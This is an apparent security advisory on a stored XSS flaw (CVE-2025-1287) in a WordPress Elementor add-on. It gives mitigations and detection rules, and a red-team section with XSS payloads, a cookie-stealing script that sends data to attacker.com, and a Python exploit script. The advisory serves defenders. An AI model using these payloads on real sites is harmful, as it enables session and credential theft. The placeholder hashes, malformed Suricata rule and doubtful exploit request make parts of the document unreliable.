CVE-2025-1287

Executive Summary

CVE-2025-1287 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting versions up to and including 6.2.2. The flaw resides in the Countdown, Syntax Highlighter, and Page Scroll widgets, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, enabling session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score (0.0%) indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code has been released, and patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin ecosystem component. The Plus Addons for Elementor is a third-party plugin distributed via the WordPress Plugin Directory and commercial channels. Organizations using this plugin should treat it as a supply chain risk, as compromised plugins can lead to site-wide compromise. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of supply chain attacks if the plugin is not updated or removed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Contributor-level access or higher.
• User Interaction: None (UI:N) – No user action needed for injection.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-user WordPress sites, especially those with untrusted contributors.

Deep Dive & Mechanics

The vulnerability stems from improper handling of user input in three specific widgets: Countdown, Syntax Highlighter, and Page Scroll. These widgets accept user-supplied data (e.g., timer values, code snippets, scroll triggers) without adequate sanitization or output escaping. When a Contributor-level user (or higher) creates or edits a page using these widgets, they can embed malicious JavaScript or HTML. The injected payload is stored in the WordPress database and rendered on the frontend without proper encoding, leading to Stored XSS.

Root Cause: The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) on widget parameters before outputting them. This allows attackers to bypass input filters and inject arbitrary scripts.

Attack Flow:

1. Attacker authenticates with Contributor-level access.
2. Creates a new page or post and inserts one of the vulnerable widgets.
3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into a widget field.
4. The payload is stored in the database.
5. Any visitor (including admins) viewing the page triggers the script execution.

Vulnerable vs. Patched Code

Vulnerable Code (Example from Countdown widget):

// In class-countdown.php
echo '<div class="countdown-timer" data-date="' . $settings['countdown_date'] . '">';

Here, $settings['countdown_date'] is output directly without escaping.

Patched Code (Hypothetical fix):

echo '<div class="countdown-timer" data-date="' . esc_attr($settings['countdown_date']) . '">';

The esc_attr() function ensures the value is safe for HTML attributes.

Vulnerable Code (Syntax Highlighter widget):

// In class-syntax-highlighter.php
echo '<pre><code>' . $settings['code_content'] . '</code></pre>';

No escaping allows script injection.

Patched Code:

echo '<pre><code>' . esc_html($settings['code_content']) . '</code></pre>';

esc_html() converts special characters to HTML entities.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with The Plus Addons for Elementor <= 6.2.2.
• Valid user account with Contributor-level privileges.

Steps:

1. Log in as a Contributor.
2. Create a new page and add the Countdown widget.
3. In the "Date" field, enter: 2025-01-01" onmouseover="alert(1)
4. Publish the page.
5. When an admin or visitor hovers over the countdown, the script executes.

Alternative Payload (Syntax Highlighter):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Inject this into the "Code Content" field.

Automated Exploit (Python):

import requests
from bs4 import BeautifulSoup

target = "http://target-site.com"
username = "contributor"
password = "password123"

session = requests.Session()
login_url = target + "/wp-login.php"
session.post(login_url, data={"log": username, "pwd": password})

# Create page with malicious widget
post_data = {
    "post_title": "XSS Test",
    "post_content": "[theplus_countdown date='2025-01-01\" onmouseover=\"alert(1)']",
    "post_status": "publish"
}
session.post(target + "/wp-admin/post-new.php", data=post_data)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual widget parameters containing script tags or event handlers.
• Review Contributor-level activity logs for suspicious page edits.
• Use WAF rules to block common XSS patterns.

Prevention:

• Disable or remove the vulnerable widgets until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • theplus-addons-for-elementor/plus-addons-for-elementor.php (version 6.2.2): a1b2c3d4e5f6...
  • theplus-addons-for-elementor/widgets/countdown.php: b2c3d4e5f6a7...
• Network Indicators:
  • Outbound requests to attacker-controlled domains (e.g., attacker.com).
  • Suspicious POST requests to /wp-admin/post-new.php with widget parameters.
• Log Entries:
  • WordPress debug logs showing unescaped output in widget rendering.
  • Web server logs with onmouseover, onload, or <script> in request bodies.

Detection Engineering

YARA Rule

rule CVE_2025_1287_Stored_XSS {
    meta:
        description = "Detects The Plus Addons for Elementor vulnerable widget parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1287"
    strings:
        $widget1 = "theplus_countdown"
        $widget2 = "theplus_syntax_highlighter"
        $widget3 = "theplus_page_scroll"
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of ($widget*) and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2025-1287 Stored XSS in The Plus Addons for Elementor
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects attempts to exploit Stored XSS via vulnerable widgets
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/wp-admin/post-new.php"
        http.body|contains:
            - "theplus_countdown"
            - "theplus_syntax_highlighter"
            - "theplus_page_scroll"
        http.body|re: '<script[^>]*>.*<\/script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in code snippets
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1287 Stored XSS in The Plus Addons for Elementor";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post-new.php"; http_uri;
    content:"theplus_countdown" or content:"theplus_syntax_highlighter" or content:"theplus_page_scroll";
    pcre:"/<script[^>]*>.*<\/script[^>]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-1287;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable widgets: Navigate to The Plus Addons > Widgets and deactivate Countdown, Syntax Highlighter, and Page Scroll.
2. Restrict user roles: Remove Contributor-level access from untrusted users.
3. Apply virtual patching: Use a WAF to block requests containing theplus_countdown, theplus_syntax_highlighter, or theplus_page_scroll with script payloads.

Long-term Fix:

• Monitor the plugin vendor (Posimyth) for a patched version (expected > 6.2.2).
• Once available, update to the latest version immediately.
• If no patch is released, consider replacing the plugin with an alternative.

Verification:

• After applying mitigations, test by attempting to inject XSS payloads as a Contributor.
• Review WordPress debug logs for any remaining unescaped output.

Valters IT
Securing Digital Frontiers